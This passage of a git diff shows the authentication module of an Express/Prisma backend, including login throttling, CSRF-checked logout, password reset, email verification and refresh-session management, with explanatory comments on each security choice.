session.csrfToken, + sessionId: session.sessionId, + }); +} + +export async function signup(req: Request, res: Response) { + const input = signupSchema.parse(req.body); + const session = await authService.signup( + { ...input, locale: resolveLocale(undefined, req.headers['accept-language']) }, + sessionContext(req), + ); + sessionResponse(res, session); +} + +export async function login(req: Request, res: Response) { + const input = loginSchema.parse(req.body); + try { + // Express's `req.ip` honours the `trust proxy` setting (app.ts) β€” it is + // the whole reason the throttle keys on the IP the client believes it + // is, rather than Render's proxy address (see config.trustProxy). + const session = await authService.login({ ...input, ip: req.ip }, sessionContext(req)); + sessionResponse(res, session); + } catch (err) { + // Phase 8, issue #35: a throttled attempt must tell the client how long + // to wait, both as a header and in the message (see LoginThrottledError). + if (err instanceof authService.LoginThrottledError) { + res.set('Retry-After', String(err.retryAfterSeconds)); + } + throw err; + } +} + +/** Admin-only: clear a login lock/throttle bucket for an account or an IP. + * Writes an audit line to the server log. Not wired into AuditEvent yet + * (issue #43 covered booking, doctor verification and payments only β€” see + * ARCHITECTURE.md Β§6.2.4), so this is the interim record. */ +export async function clearLoginAttempts(req: Request, res: Response) { + const { email, ip } = clearLoginAttemptsSchema.parse(req.body); + const cleared = await authService.clearLoginAttempts({ email, ip }); + // eslint-disable-next-line no-console + console.info(`[auth] admin ${req.user?.id ?? 'unknown'} cleared ${cleared} login-throttle bucket(s) (email=${email ?? '-'} ip=${ip ?? '-'})`); + res.status(200).json({ cleared }); +} + +/** + * Admin invite redemption (Phase 8, issue #39). Lives in the auth module + * because it ends in a session, but the invite itself is the users module's + * business β€” see `authService.signupWithInvite`, which calls that module's + * service rather than touching its tables. + */ +export async function signupWithInvite(req: Request, res: Response) { + const input = signupWithInviteSchema.parse(req.body); + const session = await authService.signupWithInvite(input, sessionContext(req)); + sessionResponse(res, session); +} + +export async function refresh(req: Request, res: Response) { + const token = refreshCookieValue(req); + if (!token) throw new HttpError(401, 'No refresh token provided.'); + + const session = await authService.refresh(token, readCsrfHeader(req)); + sessionResponse(res, session); +} + +// Phase 8, issue #34. +export async function verifyEmail(req: Request, res: Response) { + const { token } = verifyEmailSchema.parse(req.body); + const result = await authService.verifyEmail(token); + res.status(200).json({ emailVerifiedAt: result.emailVerifiedAt }); +} + +/** Authenticated on purpose: the resend target is the caller's own + * account, so this endpoint can't be used to enumerate registered + * addresses, and being logged in is exactly the state a user is in when + * they need it (login is allowed while unverified). */ +export async function resendVerificationEmail(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const result = await authService.resendVerificationEmail(req.user.id); + res.status(200).json(result); +} + +/** + * Clears the refresh cookie. + * + * Logout is cookie-authenticated too, so it needs the same CSRF treatment β€” + * but there's no session token to bind a CSRF token to here (the request + * carries no access token), so the enforced layers are the Origin allowlist + * (`requireAllowedOrigin` on the route) plus the requirement that the + * `X-CSRF-Token` header be present. A cross-site HTML form can set neither, + * so a forged logout is refused before it clears anything. The worst case if + * it weren't β€” a forced sign-out β€” is why this is the one route where a + * presence check is enough rather than a value match. + */ +export function logout(req: Request, res: Response) { + if (!readCsrfHeader(req)) { + throw new HttpError(403, 'Missing CSRF token. Send the csrfToken from your login response in the X-CSRF-Token header.'); + } + res.clearCookie(REFRESH_COOKIE, config.cookie); + res.status(204).send(); +} + +// Both reset endpoints answer identically for known and unknown emails β€” +// same status, same body, no branch on the result of the lookup. Rate +// limiting is the one intentional exception (429), and it fires before any +// account lookup, so it can't leak existence either. +export async function requestPasswordReset(req: Request, res: Response) { + const { email } = passwordResetRequestSchema.parse(req.body); + await authService.requestPasswordReset({ email, ip: req.ip ?? 'unknown' }); + res.status(202).json({ + message: 'If an account exists for that email, a password reset link has been sent.', + }); +} + +export async function confirmPasswordReset(req: Request, res: Response) { + const input = passwordResetConfirmSchema.parse(req.body); + await authService.confirmPasswordReset(input); + // The reset already killed every refresh token for this user + // (tokenVersion bump) β€” clear the caller's cookie too so a browser that + // still holds the old one isn't left sending a dead token. + res.clearCookie(REFRESH_COOKIE, config.cookie); + res.status(200).json({ message: 'Password updated. Please sign in with your new password.' }); +} + +// --- Session management (Phase 8 #38) ----------------------------------- + +function refreshCookieValue(req: Request): string | undefined { + return (req.cookies as Record | undefined)?.[REFRESH_COOKIE]; +} + +function requireUserId(req: Request): string { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + return req.user.id; +} + +export async function listSessions(req: Request, res: Response) { + const sessions = await authService.listSessions({ + userId: requireUserId(req), + currentSessionId: authService.sessionIdFromRefreshToken(refreshCookieValue(req)), + }); + res.status(200).json(sessions); +} + +/** Revokes one of the caller's own sessions. A session id belonging to + * someone else is simply not found (404) β€” scoped update, and no signal + * about whether that id exists. */ +export async function revokeSession(req: Request, res: Response) { + const currentSessionId = authService.sessionIdFromRefreshToken(refreshCookieValue(req)); + const result = await authService.revokeSession({ + userId: requireUserId(req), + sessionId: getParam(req, 'id'), + currentSessionId, + }); + + if (!result.revoked) throw new HttpError(404, 'Session not found.'); + // Revoking the session you're using has to clear the cookie in the same + // response, or the browser keeps sending a dead refresh token. + if (result.wasCurrent) res.clearCookie(REFRESH_COOKIE, config.cookie); + res.status(204).send(); +} + +/** "Sign out everywhere else" β€” keeps the caller's current session. */ +export async function revokeOtherSessions(req: Request, res: Response) { + const revoked = await authService.revokeOtherSessions({ + userId: requireUserId(req), + currentSessionId: authService.sessionIdFromRefreshToken(refreshCookieValue(req)), + }); + res.status(200).json({ revoked }); +} + +/** Admin: revoke every session a given user has. Mounted under /admin, not + * /auth β€” it acts on someone else's sessions. */ +export async function revokeUserSessions(req: Request, res: Response) { + const revoked = await authService.revokeAllUserSessions(getParam(req, 'id')); + res.status(200).json({ revoked }); +} diff --git a/backend/src/modules/auth/repositories/index.ts b/backend/src/modules/auth/repositories/index.ts index d9770280..b5b51a93 100644 --- a/backend/src/modules/auth/repositories/index.ts +++ b/backend/src/modules/auth/repositories/index.ts @@ -1,331 +1,331 @@ -// Auth module's repository β€” the only place that touches the `User` / -// `PatientProfile` / `DoctorProfile` / `PasswordResetToken` tables for auth -// purposes. Other modules must go through this module's services, never -// import this file directly (AGENTS.md hard rule 4). -import { prisma } from '../../../db/prisma-client'; -import type { Prisma, Role } from '@prisma/client'; - -export function findUserByEmail(email: string) { - return prisma.user.findUnique({ where: { email } }); -} - -export function findUserById(id: string, db: typeof prisma | Prisma.TransactionClient = prisma) { - return db.user.findUnique({ where: { id } }); -} - -// --- Refresh sessions (Phase 8 #38) ------------------------------------- - -export function createRefreshSession(input: { userId: string; userAgent?: string; ip?: string }) { - return prisma.refreshSession.create({ - data: { userId: input.userId, userAgent: input.userAgent, ip: input.ip }, - }); -} - -export function findRefreshSessionById(id: string) { - return prisma.refreshSession.findUnique({ where: { id } }); -} - -/** The only write a session takes outside of creation/revocation β€” called - * from refresh, not from every authenticated request. */ -export function touchRefreshSession(id: string) { - return prisma.refreshSession.update({ where: { id }, data: { lastUsedAt: new Date() } }); -} - -export function listRefreshSessions(userId: string) { - return prisma.refreshSession.findMany({ - where: { userId, revokedAt: null }, - orderBy: { lastUsedAt: 'desc' }, - }); -} - -/** Scoped by `userId` in the WHERE clause rather than checked afterwards β€” - * revoking someone else's session is a 0-row update, not a logic branch - * that could be got wrong. */ -export function revokeRefreshSession(id: string, userId: string) { - return prisma.refreshSession.updateMany({ - where: { id, userId, revokedAt: null }, - data: { revokedAt: new Date() }, - }); -} - -export function revokeRefreshSessionsForUser(input: { userId: string; exceptSessionId?: string }) { - return prisma.refreshSession.updateMany({ - where: { - userId: input.userId, - revokedAt: null, - ...(input.exceptSessionId ? { id: { not: input.exceptSessionId } } : {}), - }, - data: { revokedAt: new Date() }, - }); -} - -export interface CreateSelfServeUserInput { - email: string; - phone?: string; - passwordHash: string; - role: Extract; - fullName: string; - locale?: string; -} - -/** Creates the User row and its matching profile row in one transaction β€” - * a User without a profile (or vice versa) should never be observable. */ -export function createSelfServeUser(input: CreateSelfServeUserInput) { - return prisma.$transaction(async (tx) => { - const user = await tx.user.create({ - data: { - email: input.email, - phone: input.phone, - passwordHash: input.passwordHash, - role: input.role, - locale: input.locale ?? 'en', - }, - }); - - if (input.role === 'patient') { - await tx.patientProfile.create({ - data: { userId: user.id, fullName: input.fullName }, - }); - } else { - await tx.doctorProfile.create({ - data: { userId: user.id, fullName: input.fullName }, - }); - } - - return user; - }); -} - -// --- Email verification (Phase 8, issue #34) ----------------------------- -// Only hashes are stored; see services/verification-tokens.ts. - -export function findVerificationTokenByHash(tokenHash: string) { - return prisma.emailVerificationToken.findUnique({ where: { tokenHash } }); -} - -export function findLatestVerificationToken(userId: string) { - return prisma.emailVerificationToken.findFirst({ - where: { userId }, - orderBy: { createdAt: 'desc' }, - }); -} - -/** Issues the newest token and retires any still-outstanding one, in one - * transaction β€” "latest link wins", so a resend doesn't leave two live - * links in two inboxes. Retiring is a `consumedAt` write, never a delete: - * this table is an append-only-ish audit of what was issued. */ -export function replaceVerificationToken(input: { - userId: string; - tokenHash: string; - expiresAt: Date; -}) { - return prisma.$transaction(async (tx) => { - await tx.emailVerificationToken.updateMany({ - where: { userId: input.userId, consumedAt: null }, - data: { consumedAt: new Date() }, - }); - return tx.emailVerificationToken.create({ - data: { userId: input.userId, tokenHash: input.tokenHash, expiresAt: input.expiresAt }, - }); - }); -} - -/** Single-use enforcement, the same shape as the booking guarantee: a - * conditional UPDATE that only matches while the row is still unused, so - * two concurrent redemptions of one token can't both win. Returns whether - * *this* caller consumed it. */ -export async function consumeVerificationToken(tokenId: string, consumedAt: Date): Promise { - const result = await prisma.emailVerificationToken.updateMany({ - where: { id: tokenId, consumedAt: null }, - data: { consumedAt }, - }); - return result.count === 1; -} - -export function markUserEmailVerified(userId: string, verifiedAt: Date) { - return prisma.user.update({ where: { id: userId }, data: { emailVerifiedAt: verifiedAt } }); -} - -// --- Login throttling (Phase 8, issue #35) ------------------------------- - -export interface ThrottleRow { - scope: string; - key: string; - failedCount: number; - lastFailedAt: Date; - lockUntil: Date | null; -} - -/** - * Records one failed attempt for a bucket, atomically. - * - * This is a single INSERT ... ON CONFLICT DO UPDATE, not a read followed by - * a write: concurrent failed logins for the same account must all be - * counted, and a read-then-write would silently drop all but the last one. - * The three CASE expressions all read the *pre-update* row, which is what - * makes the window reset, the increment and the lock decision consistent - * with each other inside one statement. - * - * `gen_random_uuid()` is built in from Postgres 13 (no extension needed); - * Prisma normally generates the uuid client-side, which raw SQL can't. - * - * The lock is set once per window (`lockUntil IS NULL` guard): a client that - * keeps hammering a locked account grows the counter but does *not* push the - * lock's deadline out, so the lock is a bounded wait rather than a way to - * keep a legitimate user locked out indefinitely. The next window (which - * clears both the count and the lock) can lock again. - */ -export async function recordFailedLoginAttempt(input: { - scope: 'email' | 'ip'; - key: string; - policy: { windowSeconds: number; lockAfterFailures: number; lockSeconds: number }; -}): Promise { - const { windowSeconds, lockAfterFailures, lockSeconds } = input.policy; - const expiredWindow = prisma.$queryRaw` - INSERT INTO "LoginAttempt" ("id", "scope", "key", "failedCount", "windowStart", "lastFailedAt", "lockUntil", "createdAt", "updatedAt") - VALUES (gen_random_uuid()::text, ${input.scope}, ${input.key}, 1, NOW(), NOW(), NULL, NOW(), NOW()) - ON CONFLICT ("scope", "key") DO UPDATE SET - "failedCount" = CASE - WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN 1 - ELSE "LoginAttempt"."failedCount" + 1 - END, - "windowStart" = CASE - WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN NOW() - ELSE "LoginAttempt"."windowStart" - END, - "lockUntil" = CASE - WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN NULL - WHEN (CASE - WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN 1 - ELSE "LoginAttempt"."failedCount" + 1 - END) >= ${lockAfterFailures}::int - AND "LoginAttempt"."lockUntil" IS NULL - THEN NOW() + make_interval(secs => ${lockSeconds}::int) - ELSE "LoginAttempt"."lockUntil" - END, - "lastFailedAt" = NOW(), - "updatedAt" = NOW() - RETURNING "scope", "key", "failedCount", "lastFailedAt", "lockUntil" - `; - const rows = await expiredWindow; - if (!rows[0]) throw new Error('LoginAttempt upsert returned no row.'); - return rows[0]; -} - -export function findThrottleBuckets(emailKey: string, ipKey: string | null): Promise { - const clauses: { scope: string; key: string }[] = [{ scope: 'email', key: emailKey }]; - if (ipKey) clauses.push({ scope: 'ip', key: ipKey }); - return prisma.loginAttempt.findMany({ - where: { OR: clauses }, - select: { scope: true, key: true, failedCount: true, lastFailedAt: true, lockUntil: true }, - }); -} - -export function clearLoginAttempts(buckets: { scope: string; key: string }[]) { - if (buckets.length === 0) return Promise.resolve(0); - return prisma.loginAttempt - .deleteMany({ where: { OR: buckets.map((bucket) => ({ scope: bucket.scope, key: bucket.key })) } }) - .then((result) => result.count); -} - -/** Cleanup: drop buckets whose last failure is older than `before`. */ -export function pruneStaleLoginAttempts(before: Date) { - return prisma.loginAttempt.deleteMany({ where: { lastFailedAt: { lt: before } } }).then((result) => result.count); -} - -/** - * Stores a new single-use reset token for a user, superseding any of that - * user's outstanding ones in the same transaction β€” "requesting a second - * reset invalidates the first token" is a DB-level guarantee here, not an - * application-level hope. - */ -export function createPasswordResetToken(input: { - userId: string; - tokenHash: string; - expiresAt: Date; -}) { - return prisma.$transaction(async (tx) => { - await tx.passwordResetToken.updateMany({ - where: { userId: input.userId, usedAt: null }, - data: { usedAt: new Date() }, - }); - return tx.passwordResetToken.create({ - data: { userId: input.userId, tokenHash: input.tokenHash, expiresAt: input.expiresAt }, - }); - }); -} - -/** Lookup by token hash (unique index) β€” never by the raw token, which is - * never stored. */ -export function findPasswordResetTokenByHash(tokenHash: string) { - return prisma.passwordResetToken.findUnique({ where: { tokenHash } }); -} - -/** - * Consumes a reset token and applies the new password in one transaction: - * marks the token used, sets the new password hash, and increments - * `User.tokenVersion` so every previously issued refresh token for this - * user stops working (issue #33; the full revocation list is #18). - */ -export function consumePasswordResetToken(input: { - tokenId: string; - userId: string; - passwordHash: string; -}) { - return prisma.$transaction(async (tx) => { - const claimed = await tx.passwordResetToken.updateMany({ - where: { id: input.tokenId, usedAt: null }, - data: { usedAt: new Date() }, - }); - // Two concurrent confirms of the same token: only one claims the row. - if (claimed.count !== 1) return false; - - await tx.user.update({ - where: { id: input.userId }, - data: { passwordHash: input.passwordHash, tokenVersion: { increment: 1 } }, - }); - return true; - }); -} - -// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- -// Called inside the patients module's deletion transaction, so every write -// here takes the caller's transaction client. - -type DbClient = typeof prisma | Prisma.TransactionClient; - -/** Anonymises the User row in place. Conditional on `deletedAt IS NULL`, so - * of two concurrent deletions exactly one does the work; returns whether - * this call did. */ -export async function anonymizeUser( - db: DbClient, - userId: string, - data: { tombstoneEmail: string; unusablePasswordHash: string; deletedAt: Date }, -): Promise { - const result = await db.user.updateMany({ - where: { id: userId, deletedAt: null }, - data: { - email: data.tombstoneEmail, - phone: null, - passwordHash: data.unusablePasswordHash, - emailVerifiedAt: null, - deletedAt: data.deletedAt, - }, - }); - return result.count === 1; -} - -export function deleteVerificationTokensForUser(db: DbClient, userId: string) { - return db.emailVerificationToken.deleteMany({ where: { userId } }).then((result) => result.count); -} - -export function deleteLoginAttemptBucket(db: DbClient, scope: 'email' | 'ip', key: string) { - return db.loginAttempt.deleteMany({ where: { scope, key } }).then((result) => result.count); -} - -/** Hard-deletes an already-anonymised User (tombstone purge). Conditional - * on `deletedAt` being set, so a live account can never be removed here. */ -export async function deleteAnonymizedUser(db: DbClient, userId: string): Promise { - const result = await db.user.deleteMany({ where: { id: userId, deletedAt: { not: null } } }); - return result.count === 1; -} +// Auth module's repository β€” the only place that touches the `User` / +// `PatientProfile` / `DoctorProfile` / `PasswordResetToken` tables for auth +// purposes. Other modules must go through this module's services, never +// import this file directly (AGENTS.md hard rule 4). +import { prisma } from '../../../db/prisma-client'; +import type { Prisma, Role } from '@prisma/client'; + +export function findUserByEmail(email: string) { + return prisma.user.findUnique({ where: { email } }); +} + +export function findUserById(id: string, db: typeof prisma | Prisma.TransactionClient = prisma) { + return db.user.findUnique({ where: { id } }); +} + +// --- Refresh sessions (Phase 8 #38) ------------------------------------- + +export function createRefreshSession(input: { userId: string; userAgent?: string; ip?: string }) { + return prisma.refreshSession.create({ + data: { userId: input.userId, userAgent: input.userAgent, ip: input.ip }, + }); +} + +export function findRefreshSessionById(id: string) { + return prisma.refreshSession.findUnique({ where: { id } }); +} + +/** The only write a session takes outside of creation/revocation β€” called + * from refresh, not from every authenticated request. */ +export function touchRefreshSession(id: string) { + return prisma.refreshSession.update({ where: { id }, data: { lastUsedAt: new Date() } }); +} + +export function listRefreshSessions(userId: string) { + return prisma.refreshSession.findMany({ + where: { userId, revokedAt: null }, + orderBy: { lastUsedAt: 'desc' }, + }); +} + +/** Scoped by `userId` in the WHERE clause rather than checked afterwards β€” + * revoking someone else's session is a 0-row update, not a logic branch + * that could be got wrong. */ +export function revokeRefreshSession(id: string, userId: string) { + return prisma.refreshSession.updateMany({ + where: { id, userId, revokedAt: null }, + data: { revokedAt: new Date() }, + }); +} + +export function revokeRefreshSessionsForUser(input: { userId: string; exceptSessionId?: string }) { + return prisma.refreshSession.updateMany({ + where: { + userId: input.userId, + revokedAt: null, + ...(input.exceptSessionId ? { id: { not: input.exceptSessionId } } : {}), + }, + data: { revokedAt: new Date() }, + }); +} + +export interface CreateSelfServeUserInput { + email: string; + phone?: string; + passwordHash: string; + role: Extract; + fullName: string; + locale?: string; +} + +/** Creates the User row and its matching profile row in one transaction β€” + * a User without a profile (or vice versa) should never be observable. */ +export function createSelfServeUser(input: CreateSelfServeUserInput) { + return prisma.$transaction(async (tx) => { + const user = await tx.user.create({ + data: { + email: input.email, + phone: input.phone, + passwordHash: input.passwordHash, + role: input.role, + locale: input.locale ?? 'en', + }, + }); + + if (input.role === 'patient') { + await tx.patientProfile.create({ + data: { userId: user.id, fullName: input.fullName }, + }); + } else { + await tx.doctorProfile.create({ + data: { userId: user.id, fullName: input.fullName }, + }); + } + + return user; + }); +} + +// --- Email verification (Phase 8, issue #34) ----------------------------- +// Only hashes are stored; see services/verification-tokens.ts. + +export function findVerificationTokenByHash(tokenHash: string) { + return prisma.emailVerificationToken.findUnique({ where: { tokenHash } }); +} + +export function findLatestVerificationToken(userId: string) { + return prisma.emailVerificationToken.findFirst({ + where: { userId }, + orderBy: { createdAt: 'desc' }, + }); +} + +/** Issues the newest token and retires any still-outstanding one, in one + * transaction β€” "latest link wins", so a resend doesn't leave two live + * links in two inboxes. Retiring is a `consumedAt` write, never a delete: + * this table is an append-only-ish audit of what was issued. */ +export function replaceVerificationToken(input: { + userId: string; + tokenHash: string; + expiresAt: Date; +}) { + return prisma.$transaction(async (tx) => { + await tx.emailVerificationToken.updateMany({ + where: { userId: input.userId, consumedAt: null }, + data: { consumedAt: new Date() }, + }); + return tx.emailVerificationToken.create({ + data: { userId: input.userId, tokenHash: input.tokenHash, expiresAt: input.expiresAt }, + }); + }); +} + +/** Single-use enforcement, the same shape as the booking guarantee: a + * conditional UPDATE that only matches while the row is still unused, so + * two concurrent redemptions of one token can't both win. Returns whether + * *this* caller consumed it. */ +export async function consumeVerificationToken(tokenId: string, consumedAt: Date): Promise { + const result = await prisma.emailVerificationToken.updateMany({ + where: { id: tokenId, consumedAt: null }, + data: { consumedAt }, + }); + return result.count === 1; +} + +export function markUserEmailVerified(userId: string, verifiedAt: Date) { + return prisma.user.update({ where: { id: userId }, data: { emailVerifiedAt: verifiedAt } }); +} + +// --- Login throttling (Phase 8, issue #35) ------------------------------- + +export interface ThrottleRow { + scope: string; + key: string; + failedCount: number; + lastFailedAt: Date; + lockUntil: Date | null; +} + +/** + * Records one failed attempt for a bucket, atomically. + * + * This is a single INSERT ... ON CONFLICT DO UPDATE, not a read followed by + * a write: concurrent failed logins for the same account must all be + * counted, and a read-then-write would silently drop all but the last one. + * The three CASE expressions all read the *pre-update* row, which is what + * makes the window reset, the increment and the lock decision consistent + * with each other inside one statement. + * + * `gen_random_uuid()` is built in from Postgres 13 (no extension needed); + * Prisma normally generates the uuid client-side, which raw SQL can't. + * + * The lock is set once per window (`lockUntil IS NULL` guard): a client that + * keeps hammering a locked account grows the counter but does *not* push the + * lock's deadline out, so the lock is a bounded wait rather than a way to + * keep a legitimate user locked out indefinitely. The next window (which + * clears both the count and the lock) can lock again. + */ +export async function recordFailedLoginAttempt(input: { + scope: 'email' | 'ip'; + key: string; + policy: { windowSeconds: number; lockAfterFailures: number; lockSeconds: number }; +}): Promise { + const { windowSeconds, lockAfterFailures, lockSeconds } = input.policy; + const expiredWindow = prisma.$queryRaw` + INSERT INTO "LoginAttempt" ("id", "scope", "key", "failedCount", "windowStart", "lastFailedAt", "lockUntil", "createdAt", "updatedAt") + VALUES (gen_random_uuid()::text, ${input.scope}, ${input.key}, 1, NOW(), NOW(), NULL, NOW(), NOW()) + ON CONFLICT ("scope", "key") DO UPDATE SET + "failedCount" = CASE + WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN 1 + ELSE "LoginAttempt"."failedCount" + 1 + END, + "windowStart" = CASE + WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN NOW() + ELSE "LoginAttempt"."windowStart" + END, + "lockUntil" = CASE + WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN NULL + WHEN (CASE + WHEN "LoginAttempt"."windowStart" < NOW() - make_interval(secs => ${windowSeconds}::int) THEN 1 + ELSE "LoginAttempt"."failedCount" + 1 + END) >= ${lockAfterFailures}::int + AND "LoginAttempt"."lockUntil" IS NULL + THEN NOW() + make_interval(secs => ${lockSeconds}::int) + ELSE "LoginAttempt"."lockUntil" + END, + "lastFailedAt" = NOW(), + "updatedAt" = NOW() + RETURNING "scope", "key", "failedCount", "lastFailedAt", "lockUntil" + `; + const rows = await expiredWindow; + if (!rows[0]) throw new Error('LoginAttempt upsert returned no row.'); + return rows[0]; +} + +export function findThrottleBuckets(emailKey: string, ipKey: string | null): Promise { + const clauses: { scope: string; key: string }[] = [{ scope: 'email', key: emailKey }]; + if (ipKey) clauses.push({ scope: 'ip', key: ipKey }); + return prisma.loginAttempt.findMany({ + where: { OR: clauses }, + select: { scope: true, key: true, failedCount: true, lastFailedAt: true, lockUntil: true }, + }); +} + +export function clearLoginAttempts(buckets: { scope: string; key: string }[]) { + if (buckets.length === 0) return Promise.resolve(0); + return prisma.loginAttempt + .deleteMany({ where: { OR: buckets.map((bucket) => ({ scope: bucket.scope, key: bucket.key })) } }) + .then((result) => result.count); +} + +/** Cleanup: drop buckets whose last failure is older than `before`. */ +export function pruneStaleLoginAttempts(before: Date) { + return prisma.loginAttempt.deleteMany({ where: { lastFailedAt: { lt: before } } }).then((result) => result.count); +} + +/** + * Stores a new single-use reset token for a user, superseding any of that + * user's outstanding ones in the same transaction β€” "requesting a second + * reset invalidates the first token" is a DB-level guarantee here, not an + * application-level hope. + */ +export function createPasswordResetToken(input: { + userId: string; + tokenHash: string; + expiresAt: Date; +}) { + return prisma.$transaction(async (tx) => { + await tx.passwordResetToken.updateMany({ + where: { userId: input.userId, usedAt: null }, + data: { usedAt: new Date() }, + }); + return tx.passwordResetToken.create({ + data: { userId: input.userId, tokenHash: input.tokenHash, expiresAt: input.expiresAt }, + }); + }); +} + +/** Lookup by token hash (unique index) β€” never by the raw token, which is + * never stored. */ +export function findPasswordResetTokenByHash(tokenHash: string) { + return prisma.passwordResetToken.findUnique({ where: { tokenHash } }); +} + +/** + * Consumes a reset token and applies the new password in one transaction: + * marks the token used, sets the new password hash, and increments + * `User.tokenVersion` so every previously issued refresh token for this + * user stops working (issue #33; the full revocation list is #18). + */ +export function consumePasswordResetToken(input: { + tokenId: string; + userId: string; + passwordHash: string; +}) { + return prisma.$transaction(async (tx) => { + const claimed = await tx.passwordResetToken.updateMany({ + where: { id: input.tokenId, usedAt: null }, + data: { usedAt: new Date() }, + }); + // Two concurrent confirms of the same token: only one claims the row. + if (claimed.count !== 1) return false; + + await tx.user.update({ + where: { id: input.userId }, + data: { passwordHash: input.passwordHash, tokenVersion: { increment: 1 } }, + }); + return true; + }); +} + +// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- +// Called inside the patients module's deletion transaction, so every write +// here takes the caller's transaction client. + +type DbClient = typeof prisma | Prisma.TransactionClient; + +/** Anonymises the User row in place. Conditional on `deletedAt IS NULL`, so + * of two concurrent deletions exactly one does the work; returns whether + * this call did. */ +export async function anonymizeUser( + db: DbClient, + userId: string, + data: { tombstoneEmail: string; unusablePasswordHash: string; deletedAt: Date }, +): Promise { + const result = await db.user.updateMany({ + where: { id: userId, deletedAt: null }, + data: { + email: data.tombstoneEmail, + phone: null, + passwordHash: data.unusablePasswordHash, + emailVerifiedAt: null, + deletedAt: data.deletedAt, + }, + }); + return result.count === 1; +} + +export function deleteVerificationTokensForUser(db: DbClient, userId: string) { + return db.emailVerificationToken.deleteMany({ where: { userId } }).then((result) => result.count); +} + +export function deleteLoginAttemptBucket(db: DbClient, scope: 'email' | 'ip', key: string) { + return db.loginAttempt.deleteMany({ where: { scope, key } }).then((result) => result.count); +} + +/** Hard-deletes an already-anonymised User (tombstone purge). Conditional + * on `deletedAt` being set, so a live account can never be removed here. */ +export async function deleteAnonymizedUser(db: DbClient, userId: string): Promise { + const result = await db.user.deleteMany({ where: { id: userId, deletedAt: { not: null } } }); + return result.count === 1; +} diff --git a/backend/src/modules/auth/routes/index.ts b/backend/src/modules/auth/routes/index.ts index 20ee8ccd..de5c9882 100644 --- a/backend/src/modules/auth/routes/index.ts +++ b/backend/src/modules/auth/routes/index.ts @@ -1,48 +1,48 @@ -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import { requireAllowedOrigin } from '../../../middleware/csrf'; -import * as authController from '../controllers'; - -export const authRouter = Router(); - -authRouter.post('/signup', authController.signup); -// Phase 8, issue #39: admin invite redemption (the admin invite itself is -// issued by `POST /admin/invites` in the users module). -authRouter.post('/signup-with-invite', authController.signupWithInvite); -authRouter.post('/login', authController.login); - -// Phase 8, issue #34 β€” email verification. -authRouter.post('/verify-email', authController.verifyEmail); -authRouter.post('/verify-email/resend', authenticate, authController.resendVerificationEmail); - -// Phase 8, issue #35 β€” admin escape hatch for a lock a legitimate user is -// stuck behind (a documented script would do too, but an endpoint is easier -// to use from the ops console and easier to test). -authRouter.post('/login-attempts/clear', authenticate, requireRole('admin'), authController.clearLoginAttempts); - -// Cookie-authenticated routes (Phase 8, issue #37): `requireAllowedOrigin` -// rejects a request whose Origin is present and not on the allowlist, and -// both handlers additionally require an `X-CSRF-Token` header β€” matched -// against the claim inside the refresh token on /refresh, present on -// /logout. See middleware/csrf.ts for the choice and its justification. -authRouter.post('/refresh', requireAllowedOrigin, authController.refresh); -authRouter.post('/logout', requireAllowedOrigin, authController.logout); - -// Password reset (Phase 8 #33) β€” both unauthenticated; possession of the -// emailed single-use token is the credential for the confirm step. -authRouter.post('/password-reset/request', authController.requestPasswordReset); -authRouter.post('/password-reset/confirm', authController.confirmPasswordReset); - -// Session management (Phase 8 #38). Note the ordering: `DELETE /sessions` -// (revoke all others) is registered before `DELETE /sessions/:id` β€” Express -// matches in registration order, and `/sessions` must not be read as an id. -authRouter.get('/sessions', authenticate, authController.listSessions); -authRouter.delete('/sessions', authenticate, authController.revokeOtherSessions); -authRouter.delete('/sessions/:id', authenticate, authController.revokeSession); - -/** Admin routes for the auth module, mounted at `/admin` in app.ts. Session - * administration acts on *another* user, so it doesn't belong under - * `/auth`. */ -export const adminAuthRouter = Router(); - -adminAuthRouter.delete('/users/:id/sessions', authenticate, requireRole('admin'), authController.revokeUserSessions); +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import { requireAllowedOrigin } from '../../../middleware/csrf'; +import * as authController from '../controllers'; + +export const authRouter = Router(); + +authRouter.post('/signup', authController.signup); +// Phase 8, issue #39: admin invite redemption (the admin invite itself is +// issued by `POST /admin/invites` in the users module). +authRouter.post('/signup-with-invite', authController.signupWithInvite); +authRouter.post('/login', authController.login); + +// Phase 8, issue #34 β€” email verification. +authRouter.post('/verify-email', authController.verifyEmail); +authRouter.post('/verify-email/resend', authenticate, authController.resendVerificationEmail); + +// Phase 8, issue #35 β€” admin escape hatch for a lock a legitimate user is +// stuck behind (a documented script would do too, but an endpoint is easier +// to use from the ops console and easier to test). +authRouter.post('/login-attempts/clear', authenticate, requireRole('admin'), authController.clearLoginAttempts); + +// Cookie-authenticated routes (Phase 8, issue #37): `requireAllowedOrigin` +// rejects a request whose Origin is present and not on the allowlist, and +// both handlers additionally require an `X-CSRF-Token` header β€” matched +// against the claim inside the refresh token on /refresh, present on +// /logout. See middleware/csrf.ts for the choice and its justification. +authRouter.post('/refresh', requireAllowedOrigin, authController.refresh); +authRouter.post('/logout', requireAllowedOrigin, authController.logout); + +// Password reset (Phase 8 #33) β€” both unauthenticated; possession of the +// emailed single-use token is the credential for the confirm step. +authRouter.post('/password-reset/request', authController.requestPasswordReset); +authRouter.post('/password-reset/confirm', authController.confirmPasswordReset); + +// Session management (Phase 8 #38). Note the ordering: `DELETE /sessions` +// (revoke all others) is registered before `DELETE /sessions/:id` β€” Express +// matches in registration order, and `/sessions` must not be read as an id. +authRouter.get('/sessions', authenticate, authController.listSessions); +authRouter.delete('/sessions', authenticate, authController.revokeOtherSessions); +authRouter.delete('/sessions/:id', authenticate, authController.revokeSession); + +/** Admin routes for the auth module, mounted at `/admin` in app.ts. 